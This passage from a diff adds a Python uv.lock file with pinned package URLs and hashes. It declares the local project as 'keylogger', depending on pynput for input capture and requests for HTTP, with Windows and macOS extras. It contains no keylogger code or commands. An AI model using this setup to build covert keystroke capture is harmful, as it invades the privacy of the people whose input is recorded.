"sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" }, + { url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" }, + { url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" }, + { url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" }, + { url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" }, + { url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" }, + { url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" }, + { url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" }, + { url = "https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" }, + { url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" }, + { url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" }, + { url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" }, + { url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" }, + { url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" }, + { url = "https://files.pythonhosted.org/packages/67/ed/331d6b249259ee71ddea93f6f2f0a56cfebd46938bde6fcc6f7b9a3d0e09/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191", size = 159035, upload-time = "2025-10-14T04:41:38.368Z" }, + { url = "https://files.pythonhosted.org/packages/67/ff/f6b948ca32e4f2a4576aa129d8bed61f2e0543bf9f5f2b7fc3758ed005c9/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838", size = 152542, upload-time = "2025-10-14T04:41:39.862Z" }, + { url = "https://files.pythonhosted.org/packages/16/85/276033dcbcc369eb176594de22728541a925b2632f9716428c851b149e83/charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6", size = 149524, upload-time = "2025-10-14T04:41:41.319Z" }, + { url = "https://files.pythonhosted.org/packages/9e/f2/6a2a1f722b6aba37050e626530a46a68f74e63683947a8acff92569f979a/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e", size = 150395, upload-time = "2025-10-14T04:41:42.539Z" }, + { url = "https://files.pythonhosted.org/packages/60/bb/2186cb2f2bbaea6338cad15ce23a67f9b0672929744381e28b0592676824/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c", size = 143680, upload-time = "2025-10-14T04:41:43.661Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/bf6f13b772fbb2a90360eb620d52ed8f796f3c5caee8398c3b2eb7b1c60d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090", size = 162045, upload-time = "2025-10-14T04:41:44.821Z" }, + { url = "https://files.pythonhosted.org/packages/df/c5/d1be898bf0dc3ef9030c3825e5d3b83f2c528d207d246cbabe245966808d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152", size = 149687, upload-time = "2025-10-14T04:41:46.442Z" }, + { url = "https://files.pythonhosted.org/packages/a5/42/90c1f7b9341eef50c8a1cb3f098ac43b0508413f33affd762855f67a410e/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828", size = 160014, upload-time = "2025-10-14T04:41:47.631Z" }, + { url = "https://files.pythonhosted.org/packages/76/be/4d3ee471e8145d12795ab655ece37baed0929462a86e72372fd25859047c/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec", size = 154044, upload-time = "2025-10-14T04:41:48.81Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6f/8f7af07237c34a1defe7defc565a9bc1807762f672c0fde711a4b22bf9c0/charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9", size = 99940, upload-time = "2025-10-14T04:41:49.946Z" }, + { url = "https://files.pythonhosted.org/packages/4b/51/8ade005e5ca5b0d80fb4aff72a3775b325bdc3d27408c8113811a7cbe640/charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c", size = 107104, upload-time = "2025-10-14T04:41:51.051Z" }, + { url = "https://files.pythonhosted.org/packages/da/5f/6b8f83a55bb8278772c5ae54a577f3099025f9ade59d0136ac24a0df4bde/charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2", size = 100743, upload-time = "2025-10-14T04:41:52.122Z" }, + { url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "dill" +version = "0.4.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/81/e1/56027a71e31b02ddc53c7d65b01e68edf64dea2932122fe7746a516f75d5/dill-0.4.1.tar.gz", hash = "sha256:423092df4182177d4d8ba8290c8a5b640c66ab35ec7da59ccfa00f6fa3eea5fa", size = 187315, upload-time = "2026-01-19T02:36:56.85Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/77/dc8c558f7593132cf8fefec57c4f60c83b16941c574ac5f619abb3ae7933/dill-0.4.1-py3-none-any.whl", hash = "sha256:1e1ce33e978ae97fcfcff5638477032b801c46c7c65cf717f95fbc2248f79a9d", size = 120019, upload-time = "2026-01-19T02:36:55.663Z" }, +] + +[[package]] +name = "evdev" +version = "1.9.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a5/f5/397b61091120a9ca5001041dd7bf76c385b3bfd67a0e5bcb74b852bd22a4/evdev-1.9.3.tar.gz", hash = "sha256:2c140e01ac8437758fa23fe5c871397412461f42d421aa20241dc8fe8cfccbc9", size = 32723, upload-time = "2026-02-05T21:54:24.987Z" } + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "isort" +version = "7.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/63/53/4f3c058e3bace40282876f9b553343376ee687f3c35a525dc79dbd450f88/isort-7.0.0.tar.gz", hash = "sha256:5513527951aadb3ac4292a41a16cbc50dd1642432f5e8c20057d414bdafb4187", size = 805049, upload-time = "2025-10-11T13:30:59.107Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/ed/e3705d6d02b4f7aea715a353c8ce193efd0b5db13e204df895d38734c244/isort-7.0.0-py3-none-any.whl", hash = "sha256:1bcabac8bc3c36c7fb7b98a76c8abb18e0f841a3ba81decac7691008592499c1", size = 94672, upload-time = "2025-10-11T13:30:57.665Z" }, +] + +[[package]] +name = "keylogger" +version = "1.0.0" +source = { editable = "." } +dependencies = [ + { name = "pynput" }, + { name = "requests" }, +] + +[package.optional-dependencies] +dev = [ + { name = "mypy" }, + { name = "pylint" }, + { name = "pytest" }, + { name = "ruff" }, + { name = "types-requests" }, + { name = "yapf" }, +] +macos = [ + { name = "pyobjc-framework-cocoa" }, +] +windows = [ + { name = "psutil" }, + { name = "pywin32" }, +] + +[package.metadata] +requires-dist = [ + { name = "mypy", marker = "extra == 'dev'", specifier = "==1.19.1" }, + { name = "psutil", marker = "extra == 'windows'", specifier = "==7.2.1" }, + { name = "pylint", marker = "extra == 'dev'", specifier = "==4.0.4" }, + { name = "pynput", specifier = "==1.8.1" }, + { name = "pyobjc-framework-cocoa", marker = "extra == 'macos'", specifier = "==12.1" }, + { name = "pytest", marker = "extra == 'dev'", specifier = "==8.4.1" }, + { name = "pywin32", marker = "extra == 'windows'", specifier = "==311" }, + { name = "requests", specifier = "==2.32.5" }, + { name = "ruff", marker = "extra == 'dev'", specifier = "==0.14.14" }, + { name = "types-requests", marker = "extra == 'dev'", specifier = "==2.32.4.20260107" }, + { name = "yapf", marker = "extra == 'dev'", specifier = "==0.43.0" }, +] +provides-extras = ["windows", "macos", "dev"] + +[[package]] +name = "librt" +version = "0.8.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/56/9c/b4b0c54d84da4a94b37bd44151e46d5e583c9534c7e02250b961b1b6d8a8/librt-0.8.1.tar.gz", hash = "sha256:be46a14693955b3bd96014ccbdb8339ee8c9346fbe11c1b78901b55125f14c73", size = 177471, upload-time = "2026-02-17T16:13:06.101Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c5/3c/f614c8e4eaac7cbf2bbdf9528790b21d89e277ee20d57dc6e559c626105f/librt-0.8.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7e6bad1cd94f6764e1e21950542f818a09316645337fd5ab9a7acc45d99a8f35", size = 66529, upload-time = "2026-02-17T16:11:57.809Z" }, + { url = "https://files.pythonhosted.org/packages/ab/96/5836544a45100ae411eda07d29e3d99448e5258b6e9c8059deb92945f5c2/librt-0.8.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cf450f498c30af55551ba4f66b9123b7185362ec8b625a773b3d39aa1a717583", size = 68669, upload-time = "2026-02-17T16:11:58.843Z" }, + { url = "https://files.pythonhosted.org/packages/06/53/f0b992b57af6d5531bf4677d75c44f095f2366a1741fb695ee462ae04b05/librt-0.8.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:eca45e982fa074090057132e30585a7e8674e9e885d402eae85633e9f449ce6c", size = 199279, upload-time = "2026-02-17T16:11:59.862Z" }, + { url = "https://files.pythonhosted.org/packages/f3/ad/4848cc16e268d14280d8168aee4f31cea92bbd2b79ce33d3e166f2b4e4fc/librt-0.8.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0c3811485fccfda840861905b8c70bba5ec094e02825598bb9d4ca3936857a04", size = 210288, upload-time = "2026-02-17T16:12:00.954Z" }, + { url = "https://files.pythonhosted.org/packages/52/05/27fdc2e95de26273d83b96742d8d3b7345f2ea2bdbd2405cc504644f2096/librt-0.8.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e4af413908f77294605e28cfd98063f54b2c790561383971d2f52d113d9c363", size = 224809, upload-time = "2026-02-17T16:12:02.108Z" }, + { url = "https://files.pythonhosted.org/packages/7a/d0/78200a45ba3240cb042bc597d6f2accba9193a2c57d0356268cbbe2d0925/librt-0.8.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:5212a5bd7fae98dae95710032902edcd2ec4dc994e883294f75c857b83f9aba0", size = 218075, upload-time = "2026-02-17T16:12:03.631Z" }, + { url = "https://files.pythonhosted.org/packages/af/72/a210839fa74c90474897124c064ffca07f8d4b347b6574d309686aae7ca6/librt-0.8.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e692aa2d1d604e6ca12d35e51fdc36f4cda6345e28e36374579f7ef3611b3012", size = 225486, upload-time = "2026-02-17T16:12:04.725Z" }, + { url = "https://files.pythonhosted.org/packages/a3/c1/a03cc63722339ddbf087485f253493e2b013039f5b707e8e6016141130fa/librt-0.8.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:4be2a5c926b9770c9e08e717f05737a269b9d0ebc5d2f0060f0fe3fe9ce47acb", size = 218219, upload-time = "2026-02-17T16:12:05.828Z" }, + { url = "https://files.pythonhosted.org/packages/58/f5/fff6108af0acf941c6f274a946aea0e484bd10cd2dc37610287ce49388c5/librt-0.8.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:fd1a720332ea335ceb544cf0a03f81df92abd4bb887679fd1e460976b0e6214b", size = 218750, upload-time = "2026-02-17T16:12:07.09Z" }, + { url = "https://files.pythonhosted.org/packages/71/67/5a387bfef30ec1e4b4f30562c8586566faf87e47d696768c19feb49e3646/librt-0.8.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:93c2af9e01e0ef80d95ae3c720be101227edae5f2fe7e3dc63d8857fadfc5a1d", size = 241624, upload-time = "2026-02-17T16:12:08.43Z" }, + { url = "https://files.pythonhosted.org/packages/d4/be/24f8502db11d405232ac1162eb98069ca49c3306c1d75c6ccc61d9af8789/librt-0.8.1-cp313-cp313-win32.whl", hash = "sha256:086a32dbb71336627e78cc1d6ee305a68d038ef7d4c39aaff41ae8c9aa46e91a", size = 54969, upload-time = "2026-02-17T16:12:09.633Z" }, + { url = "https://files.pythonhosted.org/packages/5c/73/c9fdf6cb2a529c1a092ce769a12d88c8cca991194dfe641b6af12fa964d2/librt-0.8.1-cp313-cp313-win_amd64.whl", hash = "sha256:e11769a1dbda4da7b00a76cfffa67aa47cfa66921d2724539eee4b9ede780b79", size = 62000, upload-time = "2026-02-17T16:12:10.632Z" }, + { url = "https://files.pythonhosted.org/packages/d3/97/68f80ca3ac4924f250cdfa6e20142a803e5e50fca96ef5148c52ee8c10ea/librt-0.8.1-cp313-cp313-win_arm64.whl", hash = "sha256:924817ab3141aca17893386ee13261f1d100d1ef410d70afe4389f2359fea4f0", size = 52495, upload-time = "2026-02-17T16:12:11.633Z" }, + { url = "https://files.pythonhosted.org/packages/c9/6a/907ef6800f7bca71b525a05f1839b21f708c09043b1c6aa77b6b827b3996/librt-0.8.1-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:6cfa7fe54fd4d1f47130017351a959fe5804bda7a0bc7e07a2cdbc3fdd28d34f", size = 66081, upload-time = "2026-02-17T16:12:12.766Z" }, + { url = "https://files.pythonhosted.org/packages/1b/18/25e991cd5640c9fb0f8d91b18797b29066b792f17bf8493da183bf5caabe/librt-0.8.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:228c2409c079f8c11fb2e5d7b277077f694cb93443eb760e00b3b83cb8b3176c", size = 68309, upload-time = "2026-02-17T16:12:13.756Z" }, + { url = "https://files.pythonhosted.org/packages/a4/36/46820d03f058cfb5a9de5940640ba03165ed8aded69e0733c417bb04df34/librt-0.8.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:7aae78ab5e3206181780e56912d1b9bb9f90a7249ce12f0e8bf531d0462dd0fc", size = 196804, upload-time = "2026-02-17T16:12:14.818Z" }, + { url = "https://files.pythonhosted.org/packages/59/18/5dd0d3b87b8ff9c061849fbdb347758d1f724b9a82241aa908e0ec54ccd0/librt-0.8.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:172d57ec04346b047ca6af181e1ea4858086c80bdf455f61994c4aa6fc3f866c", size = 206907, upload-time = "2026-02-17T16:12:16.513Z" }, + { url = "https://files.pythonhosted.org/packages/d1/96/ef04902aad1424fd7299b62d1890e803e6ab4018c3044dca5922319c4b97/librt-0.8.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6b1977c4ea97ce5eb7755a78fae68d87e4102e4aaf54985e8b56806849cc06a3", size = 221217, upload-time = "2026-02-17T16:12:17.906Z" }, + { url = "https://files.pythonhosted.org/packages/6d/ff/7e01f2dda84a8f5d280637a2e5827210a8acca9a567a54507ef1c75b342d/librt-0.8.1-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:10c42e1f6fd06733ef65ae7bebce2872bcafd8d6e6b0a08fe0a05a23b044fb14", size = 214622, upload-time = "2026-02-17T16:12:19.108Z" }, + { url = "https://files.pythonhosted.org/packages/1e/8c/5b093d08a13946034fed57619742f790faf77058558b14ca36a6e331161e/librt-0.8.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4c8dfa264b9193c4ee19113c985c95f876fae5e51f731494fc4e0cf594990ba7", size = 221987, upload-time = "2026-02-17T16:12:20.331Z" }, + { url = "https://files.pythonhosted.org/packages/d3/cc/86b0b3b151d40920ad45a94ce0171dec1aebba8a9d72bb3fa00c73ab25dd/librt-0.8.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:01170b6729a438f0dedc4a26ed342e3dc4f02d1000b4b19f980e1877f0c297e6", size = 215132, upload-time = "2026-02-17T16:12:21.54Z" }, + { url = "https://files.pythonhosted.org/packages/fc/be/8588164a46edf1e69858d952654e216a9a91174688eeefb9efbb38a9c799/librt-0.8.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:7b02679a0d783bdae30d443025b94465d8c3dc512f32f5b5031f93f57ac32071", size = 215195, upload-time = "2026-02-17T16:12:23.073Z" }, + { url = "https://files.pythonhosted.org/packages/f5/f2/0b9279bea735c734d69344ecfe056c1ba211694a72df10f568745c899c76/librt-0.8.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:190b109bb69592a3401fe1ffdea41a2e73370ace2ffdc4a0e8e2b39cdea81b78", size = 237946, upload-time = "2026-02-17T16:12:24.275Z" }, + { url = "https://files.pythonhosted.org/packages/e9/cc/5f2a34fbc8aeb35314a3641f9956fa9051a947424652fad9882be7a97949/librt-0.8.1-cp314-cp314-win32.whl", hash = "sha256:e70a57ecf89a0f64c24e37f38d3fe217a58169d2fe6ed6d70554964042474023", size = 50689, upload-time = "2026-02-17T16:12:25.766Z" }, + { url = "https://files.pythonhosted.org/packages/a0/76/cd4d010ab2147339ca2b93e959c3686e964edc6de66ddacc935c325883d7/librt-0.8.1-cp314-cp314-win_amd64.whl", hash = "sha256:7e2f3edca35664499fbb36e4770650c4bd4a08abc1f4458eab9df4ec56389730", size = 57875, upload-time = "2026-02-17T16:12:27.465Z" }, + { url = "https://files.pythonhosted.org/packages/84/0f/2143cb3c3ca48bd3379dcd11817163ca50781927c4537345d608b5045998/librt-0.8.1-cp314-cp314-win_arm64.whl", hash = "sha256:0d2f82168e55ddefd27c01c654ce52379c0750ddc31ee86b4b266bcf4d65f2a3", size = 48058, upload-time = "2026-02-17T16:12:28.556Z" }, + { url = "https://files.pythonhosted.org/packages/d2/0e/9b23a87e37baf00311c3efe6b48d6b6c168c29902dfc3f04c338372fd7db/librt-0.8.1-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2c74a2da57a094bd48d03fa5d196da83d2815678385d2978657499063709abe1", size = 68313, upload-time = "2026-02-17T16:12:29.659Z" }, + { url = "https://files.pythonhosted.org/packages/db/9a/859c41e5a4f1c84200a7d2b92f586aa27133c8243b6cac9926f6e54d01b9/librt-0.8.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:a355d99c4c0d8e5b770313b8b247411ed40949ca44e33e46a4789b9293a907ee", size = 70994, upload-time = "2026-02-17T16:12:31.516Z" }, + { url = "https://files.pythonhosted.org/packages/4c/28/10605366ee599ed34223ac2bf66404c6fb59399f47108215d16d5ad751a8/librt-0.8.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2eb345e8b33fb748227409c9f1233d4df354d6e54091f0e8fc53acdb2ffedeb7", size = 220770, upload-time = "2026-02-17T16:12:33.294Z" }, + { url = "https://files.pythonhosted.org/packages/af/8d/16ed8fd452dafae9c48d17a6bc1ee3e818fd40ef718d149a8eff2c9f4ea2/librt-0.8.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9be2f15e53ce4e83cc08adc29b26fb5978db62ef2a366fbdf716c8a6c8901040", size = 235409, upload-time = "2026-02-17T16:12:35.443Z" }, + { url = "https://files.pythonhosted.org/packages/89/1b/7bdf3e49349c134b25db816e4a3db6b94a47ac69d7d46b1e682c2c4949be/librt-0.8.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:785ae29c1f5c6e7c2cde2c7c0e148147f4503da3abc5d44d482068da5322fd9e", size = 246473, upload-time = "2026-02-17T16:12:36.656Z" }, + { url = "https://files.pythonhosted.org/packages/4e/8a/91fab8e4fd2a24930a17188c7af5380eb27b203d72101c9cc000dbdfd95a/librt-0.8.1-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1d3a7da44baf692f0c6aeb5b2a09c5e6fc7a703bca9ffa337ddd2e2da53f7732", size = 238866, upload-time = "2026-02-17T16:12:37.849Z" }, + { url = "https://files.pythonhosted.org/packages/b9/e0/c45a098843fc7c07e18a7f8a24ca8496aecbf7bdcd54980c6ca1aaa79a8e/librt-0.8.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5fc48998000cbc39ec0d5311312dda93ecf92b39aaf184c5e817d5d440b29624", size = 250248, upload-time = "2026-02-17T16:12:39.445Z" }, + { url = "https://files.pythonhosted.org/packages/82/30/07627de23036640c952cce0c1fe78972e77d7d2f8fd54fa5ef4554ff4a56/librt-0.8.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:e96baa6820280077a78244b2e06e416480ed859bbd8e5d641cf5742919d8beb4", size = 240629, upload-time = "2026-02-17T16:12:40.889Z" }, + { url = "https://files.pythonhosted.org/packages/fb/c1/55bfe1ee3542eba055616f9098eaf6eddb966efb0ca0f44eaa4aba327307/librt-0.8.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:31362dbfe297b23590530007062c32c6f6176f6099646bb2c95ab1b00a57c382", size = 239615, upload-time = "2026-02-17T16:12:42.446Z" }, + { url = "https://files.pythonhosted.org/packages/2b/39/191d3d28abc26c9099b19852e6c99f7f6d400b82fa5a4e80291bd3803e19/librt-0.8.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cc3656283d11540ab0ea01978378e73e10002145117055e03722417aeab30994", size = 263001, upload-time = "2026-02-17T16:12:43.627Z" }, + { url = 